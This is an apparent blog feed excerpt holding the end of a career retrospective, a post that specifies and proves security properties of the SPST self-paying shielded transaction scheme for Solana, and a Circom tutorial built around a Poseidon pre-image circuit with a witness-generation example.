<p>To the senior IC at ConsenSys: the Rusty Pipes work is the start of a research thread, not the end of one. Don&#39;t drop it after the first post. The supply-chain question is going to be one of the defining infrastructure problems of the next decade, and you are early.</p>
<p>To present me: don&#39;t get cocky.</p>
<h2>And to the reader</h2>
<p>That&#39;s how I got here. The interesting question, though, is not how I got here. It is where everyone else is going.</p>
<p>If you came up the same way — Navy, military, technical — and you are thinking about the civilian transition, my email is at the bottom of every page. Reach out. The civilian-tech industry will tell you a lot of things about your discipline, almost none of them flattering, almost none of them correct. The reactor instincts are a superpower in a software org that has lost them. Bring them with you.</p>
<p>If you are a senior IC who is wondering whether to keep going up the staff ladder or jump sideways into a founder seat, I hope the <a href="/blog/being_ceo_and_still_shipping_code/">CEO-still-shipping post</a> is useful. The math is not as bad as the canon makes it sound.</p>
<p>If you are at the third act yourself, building cryptographic infrastructure or anything adjacent, I want to know. The ecosystem is small enough that we should know each other.</p>
<p>And if you are at the very beginning — looking at a screening package, or a Navy recruiter, or a dev bootcamp acceptance, or a first software job — pick the chapter that gives you the deepest <em>forcing function</em>. Pick the chapter that demands the most discipline up front. The discipline is the thing that compounds. The technology is the thing that changes.</p>
<p>That&#39;s the LinkedIn version. The longer versions are linked above. Thanks for reading.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[SPST: a self-paying shielded transaction model]]></title>
  <id>https://blog.skill-issue.dev/blog/spst_self_paying_shielded_transactions/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/spst_self_paying_shielded_transactions/"/>
  <published>2026-04-30T17:30:00.000Z</published>
  <updated>2026-04-30T17:30:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="pedersen"/>
  <category term="groth16"/>
  <category term="zcash"/>
  <category term="solana"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[First construction in F_RP. The SPST relation, balance conservation under DLOG, double-spend resistance under collision-resistant PRF, unlinkability under DDH, simulation-extractable non-malleability.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>In the <a href="/blog/the_fee_paradox/">previous post</a> I argued that on account-model chains the fee paradox is what forces relayer dependence. The cleanest resolution — Approach A — extracts the transaction fee from inside the ZK proof itself. This post specifies that resolution.</p>
<p>The construction is called <strong>SPST</strong> (Self-Paying Shielded Transactions). It is the foundation that PPST, TAB, and UPEE build on. It also stands alone as a complete protocol for private value transfer with self-paying fees — the Solana analogue to Zcash&#39;s Sapling spend description, but adapted to a smart-contract environment.</p>
<Aside kind="note">
Post 3 of 11 in the [relayerless-privacy](/series/relayerless-privacy) series. Reading [post 1](/blog/relayerless_privacy_intro/) and [post 2](/blog/the_fee_paradox/) first will give you context, but this post is technically self-contained.
</Aside>

<h2>The setting</h2>
<p>Work over a prime-order elliptic curve group $\mathbb{G}$ of order $p$ with two independent generators $g, h \in \mathbb{G}$ for which no party knows $\log_g h$. Let $\mathbb{F}_p$ denote the scalar field. We use:</p>
<ul>
<li><strong>Poseidon</strong> as the SNARK-friendly hash (width $t = 5$, HADES rounds $R_F = 8$ full + $R_P = 57$ partial, S-box $x^5$, ~324 R1CS constraints per 2-to-1 compression).</li>
<li><strong>PRF</strong> keyed by $sk \in \mathbb{F}_p$, instantiated as a domain-separated Poseidon evaluation.</li>
<li><strong>Groth16</strong> over BN254 as the on-chain verifier (alt_bn128 syscalls on Solana).</li>
<li><strong>Indexed Merkle Trees</strong> for nullifier non-membership (depth-32 over 254-bit values; ~10,948 R1CS constraints per non-membership proof, vs 82,296 for naive sparse Merkle).</li>
</ul>
<h2>Definitions</h2>
<p><strong>Definition 3.1 (Shielded Note).</strong> A <em>shielded note</em> is a tuple</p>
<p>$$
  \mathsf{note} = (\mathsf{pk}, v, \rho, r)
$$</p>
<p>where $\mathsf{pk} = \mathsf{PRF}_{sk}(0)$ is the owner&#39;s public spending key, $v \in {0, \ldots, 2^{64}-1}$ is the note value, $\rho \in \mathbb{F}_p$ is unique per-note serial randomness, and $r \in \mathbb{F}_p$ is the commitment trapdoor.</p>
<p><strong>Definition 3.2 (Note Commitment).</strong></p>
<p>$$
  \mathsf{cm} ;=; \mathsf{Poseidon}(\mathsf{pk},, v,, \rho,, r) ;\in; \mathbb{F}_p.
$$</p>
<p>Note commitments are appended as leaves to a global Merkle tree $\mathcal{T}$ of depth $d = 32$ (capacity $2^{32}$ notes). The Merkle root at any epoch is $\mathsf{rt}$.</p>
<p><strong>Definition 3.3 (Nullifier).</strong></p>
<p>$$
  \mathsf{nf} ;=; \mathsf{PRF}_{sk}(\rho) ;=; \mathsf{Poseidon}(sk, \rho).
$$</p>
<p>Upon spending, $\mathsf{nf}$ is published to a global nullifier set $\mathcal{N}$. Double-spending is prevented by rejecting any transaction whose $\mathsf{nf}$ already lives in $\mathcal{N}$.</p>
<p><strong>Definition 3.4 (SPST Transaction).</strong> With $n$ inputs and $m$ outputs:</p>
<p>$$
  \mathsf{tx} ;=; \bigl(, {\mathsf{nf}<em>i}</em>{i=1}^{n},; {\mathsf{cm}<em>j}</em>{j=1}^{m},; \mathsf{rt},; f,; \pi ,\bigr)
$$</p>
<p>where $f \in {0, \ldots, 2^{64}-1}$ is the public fee and $\pi$ is a Groth16 proof of the SPST relation.</p>
<p>The validator accepts iff (i) $\pi$ verifies, (ii) $\mathsf{rt}$ is a recent root, (iii) every $\mathsf{nf}<em>i \notin \mathcal{N}$, and (iv) $f \geq f</em>{\min}$.</p>
<h2>The SPST relation</h2>
<p>The relation $\mathcal{R}_{\mathsf{SPST}}$ is the set of $(x, w)$ pairs:</p>
<p><strong>Public instance</strong> $x = \bigl({\mathsf{nf}_i}, {\mathsf{cm}_j}, \mathsf{rt}, f\bigr)$.</p>
<p><strong>Private witness</strong> $w = \bigl({(\mathsf{note}_i, \mathsf{path}_i, sk_i)}, {\mathsf{note}&#39;_j}\bigr)$.</p>
<p>Eight constraints, all enforced by the circuit:</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>Constraint</th>
</tr>
</thead>
<tbody><tr>
<td>C1</td>
<td>Spending key validity</td>
<td>$\mathsf{pk}<em>i = \mathsf{PRF}</em>{sk_i}(0)$</td>
</tr>
<tr>
<td>C2</td>
<td>Nullifier correctness</td>
<td>$\mathsf{nf}<em>i = \mathsf{PRF}</em>{sk_i}(\rho_i)$</td>
</tr>
<tr>
<td>C3</td>
<td>Input commitment well-formedness</td>
<td>$\mathsf{cm}^{(\mathsf{in})}_i = \mathsf{Poseidon}(\mathsf{pk}_i, v_i, \rho_i, r_i)$</td>
</tr>
<tr>
<td>C4</td>
<td>Merkle membership</td>
<td>$\mathsf{MerkleVerify}(\mathsf{rt}, \mathsf{cm}^{(\mathsf{in})}_i, \mathsf{path}_i) = 1$</td>
</tr>
<tr>
<td>C5</td>
<td>Output commitment well-formedness</td>
<td>$\mathsf{cm}_j = \mathsf{Poseidon}(\mathsf{pk}&#39;_j, v&#39;_j, \rho&#39;_j, r&#39;_j)$</td>
</tr>
<tr>
<td><strong>C6</strong></td>
<td><strong>Value conservation with fee</strong></td>
<td>$\sum_i v_i = \sum_j v&#39;_j + f$</td>
</tr>
<tr>
<td>C7</td>
<td>Non-negative output values</td>
<td>$v&#39;_j \in {0, \ldots, 2^{64}-1}$ (bit decomposition)</td>
</tr>
<tr>
<td>C8</td>
<td>Non-negative fee</td>
<td>$f \in {0, \ldots, 2^{64}-1}$</td>
</tr>
</tbody></table>
<p>C6 is the load-bearing constraint. It is what makes the transaction self-paying: the prover can only produce a valid proof if the input notes&#39; values sum to exactly the output values plus the fee.</p>
<h2>The self-paying property (Theorem 3.1)</h2>
<p><strong>Theorem.</strong> Let $\mathsf{tx} = ({\mathsf{nf}_i}, {\mathsf{cm}_j}, \mathsf{rt}, f, \pi)$ be a valid SPST transaction. Then:</p>
<ol>
<li>The fee $f$ is funded entirely from consumed shielded notes.</li>
<li>No external account, relayer, or gas sponsor is required.</li>
<li>Validators extract $f$ as inclusion compensation without learning the private inputs/outputs beyond $f$ itself and the validity of $\pi$.</li>
</ol>
<p><strong>Proof sketch.</strong> (1) follows directly from C6. (2) follows because $\mathsf{tx}$ is a self-contained data structure that any party can broadcast; the on-chain verifier decrements the privacy program&#39;s lamport reserve by $f$ and credits the validator. (3) is the perfect zero-knowledge property of Groth16: the validator sees $f$ as a public input but learns nothing about $v_i$ or $v&#39;_j$.</p>
<p>The full proof is in §3.1.3 of the paper. The takeaway: <strong>on Solana, the privacy program&#39;s PDA holds a reserve. Each shield deposit increments it. Each SPST transaction&#39;s proof authorises the validator to take $f$ from it.</strong> Replenishment is automatic.</p>
<h2>Theorem 3.2 — Balance / value conservation</h2>
<p><strong>Statement.</strong> No PPT adversary can produce a valid SPST transaction that creates value (i.e., one for which $\sum_j v&#39;_j + f &gt; \sum_i v_i$) except with negligible probability.</p>
<p>The proof gives two complementary arguments — one from the SNARK&#39;s knowledge soundness, one from an independent Pedersen commitment cross-check that provides defense in depth.</p>
<h3>Argument 1 (SNARK soundness)</h3>
<p>C6 enforces $\sum_i v_i = \sum_j v&#39;_j + f$ over $\mathbb{F}_p$. C7 and C8 enforce $v&#39;_j, f \in [0, 2^{64})$. With at most $n \leq 2^{16}$ inputs each bounded by $2^{64}$, $\sum_i v_i &lt; 2^{80} \ll p \approx 2^{254}$ — so field arithmetic faithfully represents integer arithmetic and no modular wraparound is possible.</p>
<p>By Groth16 knowledge soundness in the AGM, an extractor $\mathcal{E}$ can recover the witness $w^*$ satisfying all constraints C1–C8. C6 in the extracted witness gives $\sum_i v_i = \sum_j v&#39;_j + f$ as an integer equation. Contradiction with the assumed inflation.</p>
<h3>Argument 2 (Pedersen cross-check)</h3>
<p>As defense in depth, attach Pedersen value commitments to each note. With $C_{\mathsf{in},i} = v_i \cdot g + r^{(\mathsf{vc})}<em>i \cdot h$ and $C</em>{\mathsf{out},j} = v&#39;_j \cdot g + r^{(\mathsf{vc})}_j \cdot h$, the verifier checks</p>
<p>$$
\sum_i C_{\mathsf{in},i} ;=; \sum_j C_{\mathsf{out},j} ;+; f \cdot g ;+; r_\Delta \cdot h
$$</p>
<p>where $r_\Delta = \sum_i r^{(\mathsf{vc})}_i - \sum_j r^{(\mathsf{vc})}_j$.</p>
<p>Suppose an adversary passes this check but with $\sum_j v&#39;<em>j + f \neq \sum_i v_i$. Let $\delta = \sum_i v_i - \sum_j v&#39;<em>j - f \neq 0$. Then $\delta \cdot g = r&#39;</em>\Delta \cdot h$ for some $r&#39;</em>\Delta$, which yields $\log_g h = \delta / r&#39;_\Delta$ — contradicting DLOG. ∎</p>
<h2>Theorem 3.3 — Double-spend resistance</h2>
<p><strong>Game.</strong> $\mathcal{A}$ may adaptively deposit and spend; wins if it produces two accepted transactions consuming the same note $\mathsf{note}^*$.</p>
<p><strong>Cases.</strong></p>
<ul>
<li><strong>Case 1:</strong> The two transactions publish the same nullifier. Rejected by the protocol&#39;s nullifier-set check.</li>
<li><strong>Case 2:</strong> They publish different nullifiers $\mathsf{nf} \neq \mathsf{nf}&#39;$ but consume the same note. By C4 both proofs authenticate the same commitment $\mathsf{cm}^<em>$. By C1 we have $\mathsf{pk}^</em> = \mathsf{PRF}<em>{sk^*}(0) = \mathsf{PRF}</em>{sk&#39;}(0)$.<ul>
<li>If $sk^* = sk&#39;$, then $\mathsf{nf} = \mathsf{nf}&#39;$. Contradiction.</li>
<li>If $sk^* \neq sk&#39;$, then $\mathsf{Poseidon}(sk^*, 0) = \mathsf{Poseidon}(sk&#39;, 0)$ — a collision in Poseidon. Reduces to collision resistance.</li>
</ul>
</li>
</ul>
<p>Both cases reach a contradiction. ∎</p>
<h2>Theorem 3.4 — Transaction unlinkability</h2>
<p><strong>Statement.</strong> Under perfect zero-knowledge of Groth16 and computational hiding of Pedersen commitments under DDH, the SPST scheme satisfies transaction unlinkability: no PPT adversary can determine which input notes fund which output notes with non-negligible advantage.</p>
<p><strong>Proof structure.</strong> Hybrid argument:</p>
<ul>
<li><strong>Hybrid 0</strong>: real game.</li>
<li><strong>Hybrid 1</strong>: replace all Groth16 proofs with simulated proofs. By perfect ZK of Groth16, indistinguishable.</li>
<li><strong>Hybrid 2</strong>: in the simulated view, the multisets of nullifiers, commitments, roots, fees are identical for both branchings of the challenge. The fee is identical by construction. Each $\mathsf{cm}_j = \mathsf{Poseidon}(\mathsf{pk}&#39;_j, v&#39;_j, \rho&#39;_j, r&#39;_j)$ with fresh random $r&#39;_j$ is computationally indistinguishable from a uniform field element. Each nullifier $\mathsf{nf}<em>i = \mathsf{PRF}</em>{sk_i}(\rho_i)$ with unique $\rho_i$ is pseudorandom. The Pedersen value commitments are computationally hiding under DDH.</li>
</ul>
<p>Result: $\mathsf{Adv}_{\mathcal{A}} \leq \mathsf{negl}(\lambda)$. ∎</p>
<h2>Theorem 3.5 — Non-malleability</h2>
<p><strong>Statement.</strong> No PPT adversary can take a valid SPST transaction and produce a <em>distinct</em> valid transaction with altered public inputs (e.g., a different fee), except with negligible probability.</p>
<p><strong>Proof.</strong> Relies on the <strong>simulation-extractability</strong> of Groth16 in the Random Oracle Model — the Bowe-Gabizon construction (2019), refined by Ràfols-Baghery-Pindado (2023). An adversary mauling the proof to alter $f$ would need to extract a witness with a <em>different</em> $f&#39;$ satisfying C6, but C6 plus the unchanged input commitments and output commitments uniquely determines $f$. Contradiction.</p>
<h2>Circuit complexity</h2>
<p>For an SPST circuit with $n$ inputs and $m$ outputs:</p>
<p>$$
C_{\mathsf{total}} ;\approx; 11{,}500 \cdot n ;+; 452 \cdot m ;+; 64.
$$</p>
<p>A canonical 2-in / 2-out transaction:</p>
<p>$$
C_{2,2} ;=; 23{,}000 + 904 + 64 ;\approx; 24{,}000 \text{ constraints}.
$$</p>
<table>
<thead>
<tr>
<th>Component</th>
<th>Per-input</th>
<th>Per-output</th>
<th>Subtotal</th>
</tr>
</thead>
<tbody><tr>
<td>Note commitment (input)</td>
<td>388</td>
<td>—</td>
<td>$388n$</td>
</tr>
<tr>
<td>Merkle path (depth 32)</td>
<td>10,400</td>
<td>—</td>
<td>$10{,}400n$</td>
</tr>
<tr>
<td>PRF evaluations (pk + nf)</td>
<td>648</td>
<td>—</td>
<td>$648n$</td>
</tr>
<tr>
<td>Range proof (input value)</td>
<td>64</td>
<td>—</td>
<td>$64n$</td>
</tr>
<tr>
<td>Note commitment (output)</td>
<td>—</td>
<td>388</td>
<td>$388m$</td>
</tr>
<tr>
<td>Range proof (output value)</td>
<td>—</td>
<td>64</td>
<td>$64m$</td>
</tr>
<tr>
<td>Fee range proof</td>
<td>—</td>
<td>—</td>
<td>64</td>
</tr>
</tbody></table>
<p>On commodity hardware (Apple M2, 8-core), Groth16 proving for <del>24,000 constraints takes <strong>0.5–1.5 seconds</strong> with arkworks or snarkjs. Proof size is <strong>128 bytes</strong> compressed (BN254 G1/G2 compression on Solana). Verification is **</del>150,000–200,000 CU** via <code>sol_alt_bn128_*</code> syscalls.</p>
<p>&lt;TradeoffTable rows={[
  { aspect: &#39;Proof size&#39;,                    pros: &#39;128 bytes (BN254 compressed)&#39;,          cons: &#39;Fits the 1,232-byte Solana limit with 1,100+ bytes for other tx data&#39; },
  { aspect: &#39;Verification cost&#39;,             pros: &#39;&lt; 200,000 CU (≈ $0.02 USD)&#39;,            cons: &#39;~14% of the 1.4M CU per-tx budget; leaves room for nullifier checks + state updates&#39; },
  { aspect: &#39;Prover time (M2 laptop)&#39;,       pros: &#39;0.5–1.5 s for 2-in / 2-out&#39;,            cons: &#39;Linear in circuit size; recursive proofs amplify this&#39; },
  { aspect: &#39;Trusted setup&#39;,                 pros: &#39;Per-circuit Groth16 MPC (Powers of Tau-style)&#39;, cons: &#39;Separate ceremony per circuit shape; PLONK alternative awaits SIMD-0302 G2 syscall&#39; },
]}/&gt;</p>
<h2>What SPST is not</h2>
<p>SPST handles private <em>value transfer</em> — the Solana analogue of Zcash&#39;s Sapling. It does <strong>not</strong>:</p>
<ul>
<li>Handle private <em>computation</em>. The next post (<a href="/blog/ppst_private_programmable_state/">PPST</a>) extends the relation to arbitrary arithmetic circuits over private state.</li>
<li>Hide the <em>submitter</em>. The transaction submitter is still publicly identified by their Ed25519 signature on the wrapping Solana transaction. <a href="/blog/tab_threshold_anonymous_broadcast/">TAB</a> addresses that.</li>
<li>Hide the <em>fee amount</em>. $f$ is necessarily public for validator compensation.</li>
</ul>
<p>But it does the load-bearing thing: the user becomes self-sovereign with respect to fee payment. Combined with TAB and PPST, that&#39;s the whole framework.</p>
<h2>Bibliography</h2>
<ul>
<li>Ben-Sasson, E. et al. (2014). <em>Zerocash.</em> IEEE S&amp;P 2014. <a href="https://eprint.iacr.org/2014/349">https://eprint.iacr.org/2014/349</a></li>
<li>Hopwood, D. et al. (2016–2026). <em>Zcash Protocol Specification.</em> <a href="https://zips.z.cash/protocol/protocol.pdf">https://zips.z.cash/protocol/protocol.pdf</a></li>
<li>Groth, J. (2016). <em>On the Size of Pairing-based Non-interactive Arguments.</em> EUROCRYPT 2016. <a href="https://eprint.iacr.org/2016/260">https://eprint.iacr.org/2016/260</a></li>
<li>Bowe, S., Gabizon, A. (2019). <em>Making Groth&#39;s zk-SNARK Simulation Extractable.</em> <a href="https://eprint.iacr.org/2019/197">https://eprint.iacr.org/2019/197</a></li>
<li>Ràfols, C., Baghery, K., Pindado, Z. (2023). <em>Simulation Extractable versions of Groth&#39;s zk-SNARK Revisited.</em> <a href="https://doi.org/10.1007/s10207-023-00750-7">https://doi.org/10.1007/s10207-023-00750-7</a></li>
<li>Pedersen, T. P. (1991). <em>Non-Interactive and Information-Theoretic Secure Verifiable Secret Sharing.</em> CRYPTO 1991.</li>
<li>Grassi, L. et al. (2021). <em>Poseidon: A New Hash Function for Zero-Knowledge Proof Systems.</em> USENIX Security 2021. <a href="https://eprint.iacr.org/2019/458">https://eprint.iacr.org/2019/458</a></li>
<li>Aztec Documentation. <em>Indexed Merkle Tree (Nullifier Tree).</em> <a href="https://docs.aztec.network/">https://docs.aztec.network/</a></li>
</ul>
<p>Previous: <a href="/blog/the_fee_paradox/">The fee paradox ←</a> · Next: <a href="/blog/ppst_private_programmable_state/">PPST: private programmable state →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Circom, by example]]></title>
  <id>https://blog.skill-issue.dev/blog/circom_by_example/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/circom_by_example/"/>
  <published>2026-04-30T13:00:00.000Z</published>
  <updated>2026-04-30T13:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="circom"/>
  <category term="dsl"/>
  <category term="r1cs"/>
  <category term="zk"/>
  <category term="snark"/>
  <category term="poseidon"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[A DSL primer told through one circuit — proving knowledge of a Poseidon pre-image. Every Circom keyword annotated as it appears, the constraint graph drawn out, and the R1CS fall-through to a witness.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>There are two ways to write a zero-knowledge circuit. You can spell out the algebraic constraints by hand — <code>(a) * (b) === c</code>, one line per multiplication, every wire indexed manually — or you can write something that <em>reads like a program</em> and let a compiler emit the constraints. The first approach gives you total control and zero leverage. The second approach gives you Circom.</p>
<p>Circom is the DSL Iden3 designed in 2018 to make Groth16-style circuit authoring tractable. Six years later, in 2026, it is still the language most production ZK pipelines reach for first. The reason is not that it is the most expressive — Halo2 and the Noir frontend <a href="https://aztec.network">Aztec</a> ships are both more powerful — but that its compilation target (R1CS) is the format every Groth16 toolchain on Earth speaks, and its tooling (snarkjs, circomlib, circomlibjs) is the deepest in the ecosystem.</p>
<p>This post is a walk through Circom from the inside out, told via one circuit: <em>prove I know <code>x</code> such that <code>Poseidon(x, 0) == y</code> without revealing <code>x</code></em>. Pre-image of a hash. The &quot;hello world&quot; of shielded systems. By the end you&#39;ll have read every Circom keyword that matters, seen the constraint graph it generates, and watched the witness get computed in your browser.</p>
<Aside kind="note">
This is a practitioner's tour, not a language spec. The canonical reference is [the Circom 2 documentation](https://docs.circom.io) and the language paper is [Bellés-Muñoz et al. (2022)](https://www.techrxiv.org/articles/preprint/CIRCOM_A_Robust_and_Scalable_Language_for_Building_Complex_Zero-Knowledge_Circuits/19374986). What follows is the model I keep in my head when reading or writing Circom in 2026.
</Aside>

<h2>What R1CS actually is, in five paragraphs</h2>
<p>Before any DSL, the substrate.</p>
<p>A <strong>rank-1 constraint system</strong> is a list of constraints of the form</p>
<p>$$
(\mathbf{a}_i \cdot \mathbf{w}),(\mathbf{b}_i \cdot \mathbf{w}) - (\mathbf{c}_i \cdot \mathbf{w}) = 0
$$</p>
<p>where $\mathbf{w}$ is the <strong>witness vector</strong> (every wire in your circuit, including inputs, outputs, intermediates, and a leading constant <code>1</code>), and $\mathbf{a}_i, \mathbf{b}_i, \mathbf{c}_i$ are constant vectors that pick out which wires participate in the <em>i</em>-th constraint. Every constraint is of the form <em>(linear combination)</em> × <em>(linear combination)</em> = <em>(linear combination)</em>. Hence &quot;rank 1&quot;: each side is at most one multiplication.</p>
<p>What this <em>means</em> is: every constraint can express <strong>exactly one multiplication of two wires</strong>, plus arbitrary additions and constant scalings on either side. <code>(2*x + 3*y) * (z) === w + 1</code> is one R1CS constraint. <code>x * y * z === w</code> is two — you need an intermediate <code>t = x*y</code> and then <code>t * z === w</code>. You can feel the shape of the cost function: addition is free, multiplication is expensive.</p>
<p>Why this exact shape? Because Groth16 (and its predecessors in the Pinocchio/QAP family) reduces an R1CS to a polynomial-divisibility check, and that reduction works exactly when each constraint is rank 1. The circuit&#39;s <em>number of constraints</em> becomes the dominant factor in proof time and zkey size. Constraints, not wires, not gates.</p>
<p>In production Circom, you&#39;ll see constraint counts ranging from ~50 (a single range check) to ~10,000 (a Merkle-32 path with Poseidon nodes) to ~2,000,000 (a circuit verifying an EVM block). Every increment is a multiplication that someone wrote, intentionally or not. <strong>A good Circom programmer thinks like an accountant.</strong></p>
<p>The witness is generated <em>outside</em> the constraint system, by a witness-generator program the Circom compiler emits as WebAssembly. The constraint system <em>checks</em> the witness; it does not compute it. This separation is fundamental to how SNARKs work: prover knows everything, verifier checks much less.</p>
<h2>A first circuit — knowledge of a Poseidon pre-image</h2>
<pre><code class="language-circom">pragma circom 2.1.5;

include &quot;circomlib/poseidon.circom&quot;;

template KnowsPreimage() {
    signal input x;             // private witness — the value being hidden
    signal output y;            // public output — the published hash

    component hash = Poseidon(2);   // 2-input Poseidon hash gadget
    hash.inputs[0] &lt;== x;            // wire x in
    hash.inputs[1] &lt;== 0;            // pad with 0
    y &lt;== hash.out;                  // expose the result
}

component main { public [y] } = KnowsPreimage();
</code></pre>
<p>That&#39;s the whole circuit. Every keyword, in order:</p>
<ul>
<li><code>pragma circom 2.1.5</code> — version pin. Circom is post-1.0; the language has minor breaking changes between minor versions, and circomlib&#39;s gadgets target specific ranges. Pin or suffer.</li>
<li><code>include &quot;circomlib/poseidon.circom&quot;</code> — the include resolves against the <code>--node-modules</code> flag or <code>circomlib</code>&#39;s install path. Includes are textual — there&#39;s no module system in the npm sense, only file inclusion.</li>
<li><code>template KnowsPreimage()</code> — a parameterised circuit fragment. Templates are like generic functions: you instantiate them with <code>component foo = KnowsPreimage();</code>. The lowercase/uppercase convention (Templates uppercase, components lowercase) is community style, not enforced.</li>
<li><code>signal input x;</code> — a wire that flows <em>in</em> to this template. <code>signal output y;</code> — flows <em>out</em>. Without <code>input</code> or <code>output</code>, <code>signal foo;</code> is an internal wire.</li>
<li><code>component hash = Poseidon(2);</code> — instantiate a sub-circuit. <code>Poseidon</code> is a template defined in circomlib; the <code>(2)</code> is its parameter (number of inputs). Components compose hierarchically; the compiler inlines them at constraint-emission time.</li>
<li><code>hash.inputs[0] &lt;== x;</code> — the <strong>constraint operator</strong>. <code>&lt;==</code> does <em>two</em> things at once: it (a) emits the R1CS constraint that wires <code>x</code> and <code>hash.inputs[0]</code> are equal, and (b) marks the right-hand side as the source for witness generation (so the WASM witness generator knows to copy <code>x</code>&#39;s value into <code>hash.inputs[0]</code>).</li>
<li><code>y &lt;== hash.out;</code> — same operator, exposing the hash output.</li>
<li><code>component main { public [y] } = KnowsPreimage();</code> — the entry point. The <code>public</code> annotation says: when the verifier checks the proof, <code>y</code> is the public input. Everything else (here, just <code>x</code>) is private to the prover.</li>
</ul>
<p>Three operators every Circom programmer types daily:</p>
<table>
<thead>
<tr>
<th>Operator</th>
<th>What it does</th>
<th>Witness side</th>
<th>Constraint side</th>
</tr>
</thead>
<tbody><tr>
<td><code>&lt;--</code></td>
<td>witness only</td>
<td>assigns</td>
<td>no constraint emitted</td>
</tr>
<tr>
<td><code>===</code></td>
<td>constraint only</td>
<td>no witness assignment</td>
<td>emits constraint</td>
</tr>
<tr>
<td><code>&lt;==</code></td>
<td>both</td>
<td>assigns</td>
<td>emits constraint</td>
</tr>
</tbody></table>
<p><code>&lt;--</code> shows up when you compute something the constraint system can&#39;t (square-root, division, lookup) and then post-hoc constrain it with <code>===</code>. <code>===</code> shows up alone when the relationship is implicit and you want to assert it. <code>&lt;==</code> is the day-to-day workhorse.</p>
<Aside kind="warn">
The most common Circom bug — and I have shipped this bug myself — is using `<--` without a follow-up `===`. The witness will be generated correctly, your tests will pass, and your circuit will be **completely insecure** because the prover is free to put any value there. Audit checklists treat `<--` without a paired constraint as a red flag.
</Aside>

<h2>What that circuit compiles to</h2>
<p>The Circom compiler (<code>circom2</code>) emits four artifacts:</p>
<ol>
<li><strong><code>circuit.r1cs</code></strong> — the constraint system, in a binary format the rest of the toolchain consumes.</li>
<li><strong><code>circuit.wasm</code></strong> — the witness generator, a WASM module that takes the inputs as JSON and returns the witness vector.</li>
<li><strong><code>circuit.sym</code></strong> — symbol table mapping wire indices back to source-code names. Invaluable for debugging.</li>
<li><strong><code>circuit.json</code></strong> <em>(optional, <code>--json</code>)</em> — the constraint system in human-readable JSON. Slow to parse; useful for one-off inspection.</li>
</ol>
<p>For our pre-image circuit, the R1CS file contains roughly the constraints below — Poseidon&#39;s S-box rounds, MDS multiplications, output binding. The constraint graph looks like this:</p>
<p>&lt;Mermaid chart={<code>flowchart TB   X[private input x] --&gt; H0[Poseidon input 0]   Z[constant 0] --&gt; H1[Poseidon input 1]   H0 --&gt; S1[round 1 S-box]   H1 --&gt; S1   S1 --&gt; M1[MDS mix]   M1 --&gt; S2[round 2 S-box]   S2 --&gt; M2[...64 more rounds...]   M2 --&gt; O[Poseidon output]   O --&gt; Y[public output y]   classDef pub fill:#0a4014,stroke:#4ade80,color:#fff   classDef priv fill:#3a0a0a,stroke:#f87171,color:#fff   class Y pub   class X priv</code>}/&gt;</p>
<p>Total constraint count for <code>KnowsPreimage</code> against BN254-Poseidon-128 with $t=3, R_F=8, R_P=57$: <strong>243 constraints</strong> for the hash, plus ~3 for the input wiring. Call it 246 R1CS constraints. snarkjs Groth16 will prove it in under 80 ms in a browser, including witness generation. (Numbers from <a href="/blog/proving_in_the_browser_by_the_numbers/">Proving in the browser, by the numbers</a>.)</p>
<h2>Compile and run, in your browser</h2>
<p><code>circomlibjs</code> ships a browser build that includes the witness generator and the Poseidon constants without requiring you to install the Rust-based <code>circom2</code> compiler. Below is a Sandpack <code>node</code> template that takes the inputs to our circuit, computes the witness, and emits the expected hash. It&#39;s not a full proof — the proving step needs the zkey, which is megabytes — but it&#39;s the <em>witness generation</em> half of the pipeline, end-to-end, in a browser.</p>
<p>&lt;Sandbox
  template=&quot;node&quot;
  title=&quot;Knowledge of pre-image — witness generation&quot;
  files={{
    &quot;/index.js&quot;: `// Witness generation for &quot;I know x such that Poseidon(x, 0) = y&quot;
// using circomlibjs in pure Node/browser. This skips the proving step
// (which needs a multi-MB zkey) and shows the witness side.</p>
<p>const { buildPoseidon } = require(&quot;circomlibjs&quot;);</p>
<p>async function main() {
  // Build the Poseidon hasher (this fetches the round constants).
  const poseidon = await buildPoseidon();
  const F = poseidon.F;  // the BN254 scalar field</p>
<p>  // The &quot;private&quot; input — what we want to keep hidden.
  const x = 1234567890n;</p>
<p>  // The two-input Poseidon, mirroring our Circom circuit.
  const yField = poseidon([x, 0n]);
  const y = F.toString(yField);</p>
<p>  // What the prover would put in input.json:
  const proverInput = {
    x: x.toString(),
  };
  // What the verifier sees on-chain:
  const publicInput = [y];</p>
<p>  console.log(&quot;circuit:        KnowsPreimage()&quot;);
  console.log(&quot;private input:  x =&quot;, x.toString());
  console.log(&quot;public output:  y =&quot;, y);
  console.log();
  console.log(&quot;input.json (prover only):&quot;);
  console.log(JSON.stringify(proverInput, null, 2));
  console.log();
  console.log(&quot;public.json (verifier sees this):&quot;);
  console.log(JSON.stringify(publicInput, null, 2));
  console.log();
  console.log(&quot;constraint count: ~246 (243 Poseidon + 3 wiring)&quot;);
  console.log(&quot;expected snarkjs prove time @ Merkle-32 quality:&quot;);
  console.log(&quot;  ~80 ms (browser, threads on)&quot;);
  console.log(&quot;  ~25 ms (arkworks-WASM, threads on)&quot;);
  console.log(&quot;  ~3 ms  (native Rust)&quot;);
}</p>
<p>main().catch(console.error);
<code>,     &quot;/package.json&quot;: </code>{
  &quot;name&quot;: &quot;circom-preimage-witness&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;main&quot;: &quot;index.js&quot;,
  &quot;dependencies&quot;: {
    &quot;circomlibjs&quot;: &quot;^0.1.7&quot;
  }
}`,
  }}
/&gt;</p>
